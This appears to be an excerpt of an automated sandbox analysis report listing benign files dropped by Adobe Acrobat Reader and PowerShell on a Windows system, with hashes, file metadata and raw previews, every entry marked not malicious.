SHA-512:	AF1EB4DF4E4F62C4823450C4F1466A7FDE53759EE2650BEB0E663A5447EF26147A98FF7CCAB472E2129E2BE324D6546560A8426DFE6017C582B7A06380721BE1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"79e5e2bb-9f8c-417e-b3a1-98fbee501f24","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736717726869,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.261054433444691
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPeSx+FIbRI6XVW7+0Y8qoAvJfbPtdPeUkwRe9:YvXKXPeSUYpW7zZGDV8Ukee9
MD5:	1A8270779871FBC74D83EAB0C0014069
SHA1:	510475E2030BC9AFD4045CA61E74E082D2742FE8
SHA-256:	88E819518E872C4BEF9030EC77635BBC856F96AAB828515E2C2CD06C8CF24771
SHA-512:	8F0603391B092D4F7DB0077B305C4600F4D513E8B7126FCB1787DBEB15C83A1721DEB8841B9E90A986C275ADBA20E8B8020B3C91C188BF4E3B7910C8E83A15F2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"79e5e2bb-9f8c-417e-b3a1-98fbee501f24","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736717726869,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.262099785507489
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPeSx+FIbRI6XVW7+0Y8qoAvJf21rPeUkwRe9:YvXKXPeSUYpW7zZG+16Ukee9
MD5:	1A0EE217BAC003E54ABD44E86CFB2D7C
SHA1:	37B3DDB7DA6063C6148F670D1D9BCBB24A993DE8
SHA-256:	A7245F79A4982D849CC6853599B4237F9B5F4D6D1847A3E74F6C5CE1E184172B
SHA-512:	4F20B90D858A5DAE3260EF9CF9D8C139C5DF2B2703ACBB443314D466000C923A437A865FBA755F9C389F508816FEEC6FD4CDF01736737BE2317DBF62761CC704
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"79e5e2bb-9f8c-417e-b3a1-98fbee501f24","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736717726869,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.661399653981827
Encrypted:	false
SSDEEP:	24:Yv6XBiWamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSL:YvrYBgkDMUJUAh8cvML
MD5:	5C266CC775D96B341AFACF7A66DA6D5B
SHA1:	9E59C0BB9A937A97DF47A3856A2809562EC29040
SHA-256:	ABBBC17CCC1A783258685DBB8444DE4885695EAEE03D8F6C12B83500C909D173
SHA-512:	F6844D8AB0CB94988BE704F015C9EA4993A84062C33226C1A174DE910AAFAF9F88ECB4F441288FE0097A303F5F6872DF1276093C6619EED75987EB40461EF160
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"79e5e2bb-9f8c-417e-b3a1-98fbee501f24","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736717726869,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.24003825982047
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPeSx+FIbRI6XVW7+0Y8qoAvJfshHHrPeUkwRe9:YvXKXPeSUYpW7zZGUUUkee9
MD5:	9035E28319E9B6F9C109E0113C871A20
SHA1:	BD02B5818D8971727DF9B441186FDF83CE58F9AE
SHA-256:	8A6F48871760B7A2A2A5494295D5616C363C21BA4C1137AF0584EB91014F8618
SHA-512:	52F71AAEC34BE78EBC0F0DC323EBFD4E4622616904E3096198D0C519A87FEF48397EC7D6C1F102D269DFB5924651CA85AEACC8EB141CC70A5EA427F2BA7C95E8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"79e5e2bb-9f8c-417e-b3a1-98fbee501f24","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736717726869,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.253641775235984
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPeSx+FIbRI6XVW7+0Y8qoAvJTqgFCrPeUkwRe9:YvXKXPeSUYpW7zZGTq16Ukee9
MD5:	E836B1BEE42E0D0769E784F3C6A39010
SHA1:	39B3FC4BFD0D7174F0E72C213A7CD8EE63F5C238
SHA-256:	5CD879963A95BC2392159416E607AF150A405BE954290B873BBF1F25F7EE19BA
SHA-512:	2232B23DFB1FCFC1BBAEE0E7DA0690B624AB731D2572148A36F303228D5A22E8053BC167853A013BE4B480CCE42C192470BE29B81ED4ED26726B14A8BA18CB63
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"79e5e2bb-9f8c-417e-b3a1-98fbee501f24","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736717726869,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.141852009371792
Encrypted:	false
SSDEEP:	24:YYRSf110ajaytcBJBkTSPBBPJmIjIj0SkJ/gY2hhTpQ2i2LSWCuj3HdP8/5tmRCe:YY89Fw/ZP/1K0IpI8tj3dMPmC1g9Dn4M
MD5:	76EE274004C5AFE1326E0CBB6012F6E6
SHA1:	7A44C956AA5BC7EE7537BBD2D2E9930C94E12D1A
SHA-256:	461DA0868579ABB704943D15D85E89C73D1C64997F0F9F88BD082E73F6A1205B
SHA-512:	949FA7E9FE734A0D491D3B68A6D40432D407DB8E6D98B648CC22E9175A5FBB6F3A15F0F78D7B9B08BF495FA608D2D9383389994184A4D7491159EF611F2140EB
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"1fe9b614be17c884b2538e93ed3d5c75","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736539526000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"be3e17432cfdc9d30312928aa4446f12","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736539526000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"82fc4cb04aaa0c7d183c71ba571130ae","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736539526000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"ee5dd120c885da462a86e5db867a90db","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736539526000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"4b61c41a04ee10800b021952faab3592","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736539526000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"47b84dadc079fdc26888e4f96d0d3473","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9846615186666057
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/Spxk4zJwtNBwtNbRZ6bRZ4mkF:TVl2GL7ms6ggOVpxPzutYtp6Pno
MD5:	C2AE46C70E4631F6ED356559BAE931B4
SHA1:	615E19C460AB5975A0587D806FB38A409244BDC7
SHA-256:	169518E653F0E2FC64FC672642AD8EAF0D53B075D25DC8DEFF647CA1AEAB74AD
SHA-512:	692399D5BD5C8F3A23074A43BB11FEBA27C10DF8C5843CC0835F260470268565CD6B741C0BE3BAA9A7FFEA918CB26E1D3534C9486544A9E49504048171C1BE57
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.337607277928572
Encrypted:	false
SSDEEP:	24:7+tQvAD1RZKHs/Ds/SpxkPzJwtNBwtNbRZ6bRZWf1RZKcpqLBx/XYKQvGJF7urs/:7MQvGgOVpx4zutYtp6PMjpqll2GL7ms/
MD5:	ECBDB28FE8F4FED537994C354366D437
SHA1:	5C2165B4E0BA7362627BA64E4A11C8D31631C98C
SHA-256:	B61A754A9A7C463007EAFE249AEE3061AFC70BC61CDD04EA3B03DA305CE69357
SHA-512:	6A44EEEE8BAA1465E03AD681A139820B85C34588E12FE50301F7171CB0978908C28E6B5FC13BE23C9C3014D53A44ECA69ECB98826F62507AFD1D13B0B80CFD45
Malicious:	false
Preview:	.... .c.......(c......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgK+UaBKCAOM3mwJ5QmL6/pAMwcbpYyu:6a6TZ44ADEKzaB9wImL6+7cbpK
MD5:	15E0BA9DB60049FFF6014C3E6398317E
SHA1:	CA105F4A44D2D886358B3414DC10656B93B3E5C2
SHA-256:	1DFCA72C781E4E4CC0AFF0267443D092752C3C1E042E447988E4DBDC115F49B6
SHA-512:	7432DEB7F05789EA370781B628DC5DC68F57AF1FAB0D018CCCB1BDB6B1EF171CA5F53934FC24B957F927FD8F9A205EBE97D825204C4F0C07F10BA558AAA07AA7
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllultnxj:NllU
MD5:	F93358E626551B46E6ED5A0A9D29BD51
SHA1:	9AECA90CCBFD1BEC2649D66DF8EBE64C13BACF03
SHA-256:	0347D1DE5FEA380ADFD61737ECD6068CB69FC466AC9C77F3056275D5FCAFDC0D
SHA-512:	D609B72F20BF726FD14D3F2EE91CCFB2A281FAD6BC88C083BFF7FCD177D2E59613E7E4E086DB73037E2B0B8702007C8F7524259D109AF64942F3E60BFCC49853
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSId2350.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.50000825118868
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEwwN1l:Qw946cPbiOxDlbYnuRK+bD11l
MD5:	BB3605E996095A6ED70531D213542587
SHA1:	6ECDE042CFBFFB601F279D62195DEB697F630C5C
SHA-256:	B8D2E78F380EFF2E7BB4982206F359A048B27DDB6E350D336ABD077B935F6C11
SHA-512:	9236BC4C017BB2B0D81F1561275FF77B5757768EF15ED02AABD2A5E912A474881CBEAA2F99DEA7D7134E9B2BEA1989A20410E3338618629F794587D3A549CC23
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.5.:.0.5.:.2.8. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hu5fosdu.qtv.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j5crxemt.yxp.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 15-05-21-077.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15113
Entropy (8bit):	5.330216909906996
Encrypted:	false
SSDEEP:	384:Sr3K/inanz4gdAJaYtqj1pjvjOS61mKHu6LAneTVJ1ri2N6vZYi0xcOk9k5QHxww:xD3
MD5:	AB828B4D4187F603C5C0716A9660886A
SHA1:	81A64441DFF17196158414EE287D7D5FCC68E49D
SHA-256:	4423F913A1E87576253FC3BAA02CF1F6D232C3F2E3FED071CD19AE9AD5ACA4A3
SHA-512:	7B7C2288A52CBE74425A7D7533BFC462425BDBC7E3E123B29AFA45AF4BC6A977A41B9CD45C09AA0B670B423F10130CD34794F305AF2317172E396294DF6CE849
Malicious:	false
Preview:	SessionID=896927b5-ee12-4a5a-9f7c-e617f38a0aa7.1736539521092 Timestamp=2025-01-10T15:05:21:092-0500 ThreadID=7444 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=896927b5-ee12-4a5a-9f7c-e617f38a0aa7.1736539521092 Timestamp=2025-01-10T15:05:21:116-0500 ThreadID=7444 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=896927b5-ee12-4a5a-9f7c-e617f38a0aa7.1736539521092 Timestamp=2025-01-10T15:05:21:116-0500 ThreadID=7444 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=896927b5-ee12-4a5a-9f7c-e617f38a0aa7.1736539521092 Timestamp=2025-01-10T15:05:21:116-0500 ThreadID=7444 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=896927b5-ee12-4a5a-9f7c-e617f38a0aa7.1736539521092 Timestamp=2025-01-10T15:05:21:116-0500 ThreadID=7444 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.391549148276028
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbL:UE
MD5:	F9C84EFDD315A5350DB0D851E20F5DF4
SHA1:	7B588AB838B79BAFB529F60C129C512E323BC5C0
SHA-256:	9CA0E5EC1D1DD41FBECB5A9351D6076F284E6F0E05915D88D9847B6972BCEA69
SHA-512:	075C64842089C4BB908850E6E994524500BEA8036C40321BAD2231385F94A955F6706E28A8E32AA2A08442F2D4B2757F5E3587AD94431C6B4B4C124B5FC2EDE1
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\4924b4f2-d729-489f-b5c4-e2aa7a582894.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\aa6494d7-d82c-4c6b-af54-ebca188e2f25.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\d115db87-8278-4d8d-969e-ad66cf7d8ac4.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
